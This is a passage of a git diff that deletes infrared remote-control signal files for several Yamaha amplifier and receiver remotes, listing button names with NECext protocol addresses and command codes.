TapeForward -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TapeStop -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: TapeRec -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: TapeDeckA/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: TapeDirA -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: CDPlay -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CDPause/Stop -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CDSkipForward -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CDSkipBack -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CDForward -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CDRewind -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: SourceVCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: RadioPreset+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: RadioPreset- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: SourceCD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: SourceTuner -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: SourceDVD/LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: Tape/MD_Monitor -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: TapeDirB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: DiscSkip -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: DSP+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: DSP- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: DSP_Prg- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: SourceSAT/D-TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: SourceAUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: DSP_Prg+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: Time/Level -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: ExternalDecoder -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: SetMenu -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir deleted file mode 100644 index d76199de7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TAPE_REV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_FF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: TAPE_REC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: TAPE_DECK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: TAPE_DIRA -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CD_PAUSE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CD_NEXT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CD_PREV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_FF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CD_REV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: PRESET+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: TAPE_DIRB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: CD_DISC_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: D-TV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: EFFECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: PRG+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: PRG- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: TIME/LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: KEY_6CH_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: SET_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir deleted file mode 100644 index 9a9fc0956..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: Preset+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: Preset- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: Menu+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: Menu- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: DTV/CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: V-AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: Stereo -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: Test -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: Level -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: KEY_6chIN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: Dobly/DTS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 90 00 00 00 -# -name: Night -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 95 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 97 00 00 00 -# -name: MenuUp -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 98 00 00 00 -# -name: MenuDown -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 99 00 00 00 -# -name: SetMenu -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir deleted file mode 100644 index 0d35c0fa9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AMP/VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: AMP/TURNER_PAGE_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: AMP/TURNER_PAGE_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: AMP/TURNER_PAGE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: AMP/AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: AMP/CD_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: AMP/TURNER_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: AMP/VOL_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: AMP/VOL_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: AMP/MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: AMP/PLUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: AMP/MINUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: AMP/TV_CBL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 54 00 00 00 -# -name: AMP/V_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 55 00 00 00 -# -name: AMP/EFFECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: AMP/SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: AMP/POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: AMP/PRG_PLUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 58 00 00 00 -# -name: AMP/PRG_MINUS -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 59 00 00 00 -# -name: AMP/TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: AMP/TIME_LEVEL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 86 00 00 00 -# -name: AMP/6_CH -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 87 00 00 00 -# -name: AMP/SET_MENU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: AMP/DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C1 00 00 00 -# -name: AMP/MD_CDR_INPU -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: C9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir deleted file mode 100644 index d46baef46..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TAPE_REWIND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_FFWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: TAPE_REC/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: TAPE_REC_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: TAPE_DECK_A/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: TAPE_DIR_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CD_STOP/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CD_SKIP_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CD_SKIP_REW -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_SEARCH_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CD_SEARCH_REW -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: PHONO_PLAY/CUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0E 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER_A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PHONO_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: CD_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: TUNER_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: LD_V_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: TAPE_1/DAT_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: VCR_APE_2_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: TAPE_DIR_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 -# -name: EQ_ON/FLAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5A 00 00 00 -# -name: EQ_PRESET_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir deleted file mode 100644 index 253387d37..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: DECK_A/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: DIR_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: PAUSE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: SKIP-FFWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: SKIP-REWIND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: SEARCH_FFWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: SEARCH_REWIND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: DIR_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: DISC-SCAN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir deleted file mode 100644 index 16a6fde6d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TAPE_REWIND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: DECK_A/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: DIR_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CD_PAUSE/STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CD_SKIP_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CD_SKIP_BACK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_SEARCH_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CD_SEARCH_BACK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: PRESET+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: TAPE_MON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: DIR_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir deleted file mode 100644 index 697742f47..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TAPE_REWIND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: TAPE_FFWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 02 00 00 00 -# -name: TAPE_STOP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 03 00 00 00 -# -name: TAPE_REC/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 04 00 00 00 -# -name: TAPE_REC_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 05 00 00 00 -# -name: DECK_A/B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 06 00 00 00 -# -name: TAPE_DIR_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 07 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 08 00 00 00 -# -name: CD_STOP/PAUSE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 09 00 00 00 -# -name: CD_SKIP_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0A 00 00 00 -# -name: CD_SKIP_REV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0B 00 00 00 -# -name: CD_SEARCH_FWD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0C 00 00 00 -# -name: CD_SEARCH_REV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0D 00 00 00 -# -name: VCR_1_MON_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 0F 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: TUNER_A/B/C/D/E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: VCR_2_APE_2_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: PHONO_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: CD_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: TUNER_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: LD_V_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: TAPE_1_MON_SELECT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: MASTER_VOLUME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: MASTER_VOLUME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MASTER_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: TAPE_DIR_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 40 00 00 00 -# -name: CD_DISC_SKIP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 4F 00 00 00 -# -name: DELAY_TIME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 52 00 00 00 -# -name: DELAY_TIME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 53 00 00 00 -# -name: EFFECT_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 56 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5E 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 5F 00 00 00 -# -name: FRONT_EFFECT_LEVEL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 80 00 00 00 -# -name: FRONT_EFFECT_LEVEL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 81 00 00 00 -# -name: CENTRE_LEVEL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 82 00 00 00 -# -name: CENTRE_LEVEL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 83 00 00 00 -# -name: CENTRE_MODE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 85 00 00 00 -# -name: PRO_LOGIC_SURROUND -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 88 00 00 00 -# -name: PRO_LOGIC_ENHANCED -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 89 00 00 00 -# -name: CNCT_VIDEO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8A 00 00 00 -# -name: MONO_MOVIE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8B 00 00 00 -# -name: ROCK -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8C 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 8D 00 00 00 diff --git 